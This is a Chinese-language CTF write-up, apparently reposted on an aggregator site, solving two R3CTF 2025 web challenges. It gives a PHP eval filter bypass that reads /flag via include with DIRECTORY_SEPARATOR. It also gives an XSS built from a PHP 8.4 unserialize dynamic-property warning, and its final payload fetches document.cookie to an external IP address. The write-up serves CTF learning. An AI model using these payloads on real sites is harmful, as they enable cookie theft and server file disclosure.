当前位置: 首页 > news >正文

2025 R3CTF

文章目录

      • Evalgelist
      • Silent Profit(复现)

Evalgelist

<?phpif (isset($_GET['input'])) {echo '<div class="output">';$filtered = str_replace(['$', '(', ')', '`', '"', "'", "+", ":", "/", "!", "?"], '', $_GET['input']);$cmd = $filtered . '();';echo '<strong>After Security Filtering:</strong> <span class="filtered">' . htmlspecialchars($cmd) . '</span>' . "\n\n";echo '<strong>Execution Result:</strong>' . "\n";echo '<div style="border-left: 3px solid #007bff; padding-left: 15px; margin-left: 10px;">';try {ob_start();eval($cmd);$result = ob_get_clean();if (!empty($result)) {echo '<span class="success">✅ Function executed successfully!</span>' . "\n";echo htmlspecialchars($result);} else {echo '<span class="success">✅ Function executed (no output)</span>';}} catch (Error $e) {echo '<span class="error">❌ Error: ' . htmlspecialchars($e->getMessage()) . '</span>';} catch (Exception $e) {echo '<span class="error">❌ Exception: ' . htmlspecialchars($e->getMessage()) . '</span>';}echo '</div>';echo '</div>';}?>

没有过滤;, 可以执行多条语句

在php中,未被双引号包裹的字符串会被定义为常量,若是找不到这个常量就会被自动转化成字符串

include在包含文件的时候会查找include_path 环境变量中的路径,一般就是 .:/usr/local/lib/php
. -> 当前目录 , /usr/local/lib/php ->系统 PEAR 库路径

所以可以通过include 文件名;die 来读取当前目录的文件
比如我在当前目录新建一个flag的文件,include flag就可以读取这个文件的内容,虽然会有警告,但是依然会往下执行
(如果文件里面符合php的语法,也会当成php文件进行执行)

因为没有引号包裹的原因,是无法读取像 index.php的这种文件的,这种文件会被当成两个字符串通过.进行拼接,也就是会去查找indexphp这个文件名

flag在/flag下,但是/被过滤了,无法直接include /flag读取文件

不过就算/没被过滤,好像也不能直接通过include /flag进行读取

在这里插入图片描述

所以就需要想办法拼接一个/flag
php中存在一个常量DIRECTORY_SEPARATOR可以表示/, 通过.进行拼接就可以得到/flag

构造payload:include DIRECTORY_SEPARATOR.flag;die

在这里插入图片描述

Silent Profit(复现)

bot.js

const express = require('express');
const puppeteer = require('puppeteer');const app = express();app.use(express.urlencoded({ extended: false }));const flag = process.env['FLAG'] ?? 'flag{test_flag}';
const PORT = process.env?.BOT_PORT || 31337;app.post('/report', async (req, res) => {const { url } = req.body;if (!url || !url.startsWith('http://challenge/')) {return res.status(400).send('Invalid URL');}try {console.log(`[+] Visiting: ${url}`);const browser = await puppeteer.launch({headless: 'new',args: ['--no-sandbox','--disable-setuid-sandbox',]});await browser.setCookie({ name: 'flag', value: flag, domain: 'challenge' });const page = await browser.newPage();await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000 });await page.waitForNetworkIdle({timeout: 5000})await browser.close();res.send('URL visited by bot!');} catch (err) {console.error(`[!] Error visiting URL:`, err);res.status(500).send('Bot error visiting URL');}
});app.get('/', (req, res) => {res.send(`<h2>XSS Bot</h2><form method="POST" action="/report"><input type="text" name="url" value="http://challenge/?data=..." style="width: 500px;" /><button type="submit">Submit</button></form>`);
});app.listen(PORT, () => {console.log(`XSS bot running at port ${PORT}`);
});

index.php

<?php 
show_source(__FILE__);
unserialize($_GET['data']);

只有这两行代码去实现反序列化,想要实现xss的攻击,肯定是需要控制信息显示在浏览器上面

题目环境是php8.4 ,所以可能就是这个版本有关于unserialize函数的报错的相关修改

PHP 8.1 新引入的 enum 枚举序列化格式,传入一个enum 对象的错误格式,会发现可以控制部分报错信息显示到浏览器上面

在这里插入图片描述

试着传入一个xss的payload, 但是浏览器好像并没有解析,没有弹窗

在这里插入图片描述

因为常规的错误信息输出函数(如php_error_docref)会对输出进行HTML转义,所以无法直接触发XSS。

所以需要寻找一个在反序列化过程中触发的、且不会对输出进行HTML转义的错误

PHP 8.2 开始禁止动态创建类中未定义的属性,当尝试设置动态属性的时候就会触发一个弃用的警告,并且会显示出属性名

此警告通过 zend_error() 输出,不会进行 HTML 转义

这样我们就可以通过控制属性名来进行xss了

添加一个test类进行测试
反序列化时添加一个动态的属性aa,就会发现这个属性名被回显到里浏览器上面

在这里插入图片描述

将其替换成xss的payload,发现可以弹窗

在这里插入图片描述

那么只需要找一个php的内置类,并且是可序列化的,动态添加属性进行报错就行了

这样的类有很多,可以用Exception来构造

O:9:"Exception":1:{s:25:"<script>alert(1)</script>";i:2;}

在这里插入图片描述

最终的payload:

url=http://challenge/?data=O:9:"Exception":1:{s:74:"<script>fetch(`http://8.154.17.163:8080?flag=${document.cookie}`)</script>";i:2;}

在这里插入图片描述

参考文章

https://baozongwi.xyz/2025/07/05/R3CTF2025/
https://qiita.com/singetu0096/items/65621ba135544e262518
http://www.dtcms.com/a/279547.html

相关文章:

  • 我的开源项目-AI Agent 配置系统
  • 技嘉UEFI固件SMM漏洞使系统面临固件植入和持久控制风险
  • Oracle 学习笔记
  • 【工具变量】A股上市公司产学研合作及专利数据统计(1998-2023年)
  • TextIn:文档全能助手,让学习效率飙升的良心软件~
  • 《汇编语言:基于X86处理器》第7章 复习题和练习,编程练习
  • RAG索引流程中的文档解析:工业级实践方案与最佳实践
  • SMTPman,发送邮件服务器smtp怎么填才行?
  • 鹧鸪云:别墅光储项目方案设计的最终选择
  • 面试150 二叉树中的最大路径和
  • 水务工程中自动化应用:EtherNet/IP转PROFIBUS DP连接超声波流量计
  • 9.服务容错:构建高可用微服务的核心防御
  • Go泛型完全指南:从基础到实战应用
  • 【深度学习笔记】2 浅层神经网络
  • 【Golang】GORM - GEN工具 快速开始
  • Go迭代器完全指南:从基础到实战
  • MYOJ_8512:CSP初赛题单1:计算机常识
  • Unsloth 实战:DeepSeek-R1 模型高效微调指南(下篇)
  • ECUs、ZCUs、CCUs:产生的软件栈(SW stack)也有所不同
  • C++-linux 7.文件IO(三)文件元数据与 C 标准库文件操作
  • 七彩喜平台:养老行业的 “智慧革命”,老年人的 “幸福驿站”
  • 网络安全|网络准入控制系统有哪些?网络准入控制系统十大解决方案详解
  • winfom自定义一个椭圆按钮
  • Codex,Copilot 是什么
  • 艺术总监的构图“再造术”:用PS生成式AI,重塑照片叙事框架
  • Vim库函数
  • NE综合实验2:RIP 与 OSPF 动态路由精细配置及ACL访问控制列表
  • pycharm连接远程终端的Anaconda安装与bug记录
  • 洛谷【数学 1】基础数学问题:最小公倍数的计算与应用
  • ELK、Loki、Kafka 三种日志告警联动方案全解析(附实战 Demo)